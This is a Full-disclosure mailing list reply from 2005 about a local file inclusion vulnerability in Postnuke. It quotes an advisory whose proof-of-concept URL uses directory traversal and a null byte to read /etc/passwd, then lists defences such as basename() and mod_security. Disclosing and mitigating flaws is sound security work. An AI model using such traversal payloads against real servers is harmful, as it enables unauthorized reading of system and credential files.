[Full-disclosure] Re: Postnuke 0.750 - 0.760rc4 local file inclusion

From: Paul Laudanski (zx_at_castlecops.com)
Date: 05/16/05

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To: pokley <pokleyzz@scan-associates.net>

    On Mon, 16 May 2005, pokley wrote:

    > Product : Postnuke 0.750 (http://www.postnuke.com)
    > Description: Postnuke 0.750 - 0.760rc4 local file inclusion
    > Severity: High
    >
    > Proof of concept
    > ================
    > http://server.com/index.php?module=Blocks&type=lang&func=../../../../../../etc/passwd%00
    >
    > Fix
    > ===
    > Fix Available from postnuke cvs since 5th May 2005
    >
    > http://cvs.postnuke.com/viewcvs.cgi/Historic_PostNuke_Library/postnuke-devel/html/includes/pnMod.php.diff?r1=1.47&r2=1.48

    Directory traversal in a PHP environment can be avoided in a few different
    ways:

    1) Proper programming practice,
    2) Usage of http://php.net/basename,
    3) Install modsecurity and prevent path traversal,
    4) Disable globals in php.ini. 

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